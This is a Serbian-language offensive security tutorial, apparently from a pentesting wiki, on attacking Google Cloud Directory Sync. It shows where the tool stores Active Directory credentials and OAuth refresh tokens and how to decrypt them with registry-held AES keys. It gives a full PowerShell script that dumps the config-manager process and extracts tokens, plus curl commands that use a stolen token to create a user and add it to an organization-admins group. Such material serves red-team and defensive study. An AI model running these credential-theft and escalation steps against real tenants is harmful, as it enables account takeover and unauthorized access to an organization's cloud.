Ovo je alat koji se može koristiti za sinhronizaciju vaših aktivnih korisnika i grupa iz direktorijuma sa vašim Workspace (a ne obrnuto u vreme pisanja ovog teksta).
Zanimljivo je jer je to alat koji će zahtevati akreditive superkorisnika Workspace-a i privilegovanog AD korisnika. Tako da bi moglo biti moguće pronaći ga unutar domen servera koji bi povremeno sinhronizovao korisnike.
Da biste izvršili MitM na config-manager.exe binarnu datoteku, jednostavno dodajte sledeću liniju u config.manager.vmoptions datoteku: -Dcom.sun.net.ssl.checkRevocation=false
Napomena da Winpeas može da detektuje GCDS, dobije informacije o konfiguraciji i čak i lozinke i enkriptovane akreditive.
Takođe, imajte na umu da GCDS neće sinhronizovati lozinke iz AD u Workspace. Ako nešto, samo će generisati nasumične lozinke za novokreirane korisnike u Workspace-u, kao što možete videti na sledećoj slici:
GCDS - Disk Tokens & AD Credentials
Binarna datoteka config-manager.exe (glavna GCDS binarna datoteka sa GUI) će čuvati konfigurirane akreditive Active Directory, osvežavajući token i pristup po defaultu u xml datoteci u folderu C:\Program Files\Google Cloud Directory Sync u datoteci pod nazivom Untitled-1.xml po defaultu. Iako bi takođe mogla biti sačuvana u Documents korisnika ili u bilo kojem drugom folderu.
Štaviše, registar HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui unutar ključa open.recent sadrži putanje do svih nedavno otvorenih konfiguracionih datoteka (xml). Tako da je moguće proveriti to da ih pronađete.
Najzanimljivije informacije unutar datoteke bi bile:
Napomena kako su refreshtoken i password korisnika šifrovani koristeći AES CBC sa nasumično generisanim ključem i IV koji su sačuvani u HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util (gde god prefs Java biblioteka čuva podešavanja) u string ključevima /Encryption/Policy/V2.iv i /Encryption/Policy/V2.key sačuvanim u base64.
Powershell skripta za dešifrovanje refresh tokena i lozinke
</details>
<div data-gb-custom-block data-tag="hint" data-style='info'>
Napomena da je moguće proveriti ove informacije pregledanjem java koda **`DirSync.jar`** iz **`C:\Program Files\Google Cloud Directory Sync`** pretražujući string `exportkeys` (jer je to cli parametar koji binarni `upgrade-config.exe` očekuje da izveze ključeve).
</div>
Umesto korišćenja powershell skripte, takođe je moguće koristiti binarni **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** sa parametrom `-exportKeys` i dobiti **Key** i **IV** iz registra u heksadecimalnom formatu, a zatim jednostavno koristiti neki cyberchef sa AES/CBC i tim ključem i IV za dešifrovanje informacija.
### GCDS - Ispisivanje tokena iz memorije
Baš kao i sa GCPW, moguće je ispisati memoriju procesa `config-manager.exe` (to je naziv glavnog GCDS binarnog fajla sa GUI) i moći ćete da pronađete refresh i access tokene (ako su već generisani).\
Pretpostavljam da biste takođe mogli pronaći AD konfigurisane akreditive.
<details>
<summary>Ispisivanje procesa config-manager.exe i pretraga tokena</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
GCDS - Generisanje pristupnih tokena iz osvežavajućih tokena
Korišćenjem osvežavajućeg tokena moguće je generisati pristupne tokene koristeći ga i ID klijenta i tajnu klijenta navedene u sledećoj komandi:
Imajte na umu da čak i sa refresh token-om, nije moguće zatražiti bilo koji scope za access token jer možete zatražiti samo scope-ove koje podržava aplikacija u kojoj generišete access token.
Takođe, refresh token nije važeći u svakoj aplikaciji.
Podrazumevano, GCSD neće imati pristup kao korisnik svim mogućim OAuth scope-ovima, pa korišćenjem sledećeg skripta možemo pronaći scope-ove koji se mogu koristiti sa refresh_token za generisanje access_token:
#### Kreirajte korisnika i dodajte ga u grupu `gcp-organization-admins` da biste pokušali da eskalirate u GCP
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'
# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'
# You could also change the password of a user for example
Nije moguće dodeliti novom korisniku Super Amin ulogu jer refresh token nema dovoljno opsega da dodeli potrebne privilegije.